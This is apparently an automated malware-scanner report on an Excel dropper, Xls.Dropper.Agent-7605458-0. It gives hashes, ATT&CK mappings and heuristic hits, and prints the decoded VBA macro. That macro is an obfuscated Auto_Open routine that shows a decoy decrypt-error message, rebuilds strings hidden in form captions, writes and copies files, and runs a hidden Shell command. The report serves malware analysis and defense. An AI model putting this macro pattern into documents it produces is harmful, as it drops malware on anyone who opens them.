Xls.Dropper.Agent-7605458-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 f8eb23b9ae753793…

MALICIOUS

Office (OOXML)

398.1 KB Created: 2020-01-29 14:49:21 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-07-24
MD5: 252227b8701d45deb0cc6b0edad98836 SHA-1: 82d0f1020d8f6d47239b6013ba9b01611b2a52ce SHA-256: f8eb23b9ae7537934cf709f63b5056ef308256ae73980941cdd30148fc9387cb
210 Risk Score

Malware Insights

Xls.Dropper.Agent-7605458-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing a VBA macro with an Auto_Open subroutine. This macro utilizes the Shell() function, indicating an attempt to execute an external command. The ClamAV detection name 'Xls.Dropper.Agent-7605458-0' and the presence of the Auto_Open macro strongly suggest this file acts as a dropper for additional malware. The script's primary function appears to be downloading and executing a second-stage payload.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7605458-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7605458-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    dxiqxu = var91
Shell dxiqxu, 0
End Sub
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2641 bytes
SHA-256: 1035ba76a43c4378f4c83c161f17dc497eb850cad6681d97767d7e5a3e73b5f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Dim var90, var91

Sub Auto_Open()
On Error Resume Next
MsgBox ("Document decrypt error.")
Dim i, puvguql, ibozcegj, ovtaly, dxiqxu, ahyjbi
ibozcegj0 UserForm1.qozugw.Caption
puvguql = var90
ibozcegj0 UserForm1.kagyrfu.Caption
ibozcegj = var90
ibozcegj0 UserForm1.bege.Caption
ovtaly = var90
dxiqxu0 0, UBound(ovtaly), ovtaly
ChDir var91

Open ibozcegj(12) For Output As #19: Print #19, ibozcegj(14): Close #19
dxiqxu0 0, UBound(puvguql), puvguql
FileCopy var91, ibozcegj(5)
dxiqxu0 0, 13, ibozcegj
dxiqxu = var91
Shell dxiqxu, 0
End Sub

Sub ibozcegj0(puvguql0)
 Dim ovtaly0(50), ovtaly1, ovtaly2: ovtaly1 = 0
 Do
   ovtaly2 = InStr(puvguql0, ";;")
   If ovtaly2 = 0 Then ovtaly0(ovtaly1) = puvguql0: var90 = ovtaly0: Exit Sub
   ovtaly0(ovtaly1) = Left(puvguql0, ovtaly2 - 1)
   ovtaly1 = ovtaly1 + 1
   puvguql0 = Right(puvguql0, Len(puvguql0) - ovtaly2 - 1)
 Loop
End Sub

Sub dxiqxu0(dxiqxu1, dxiqxu2, dxiqxu3)
 Dim dxiqxu4
 For i = dxiqxu1 To dxiqxu2: dxiqxu4 = dxiqxu4 & dxiqxu3(i): Next i
 var91 = dxiqxu4
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{F8AE46C4-4453-44B9-9EBE-60A3A9D99B5C}{76E68077-3A13-4EEB-AAE3-4D0409DE4E93}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 227840 bytes
SHA-256: 0ea6de079ab7893d9094584b9a002b4f595e4bd639b9d6be674f8302e932afaa
Detection
ClamAV: Xls.Dropper.Agent-7605458-0
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).

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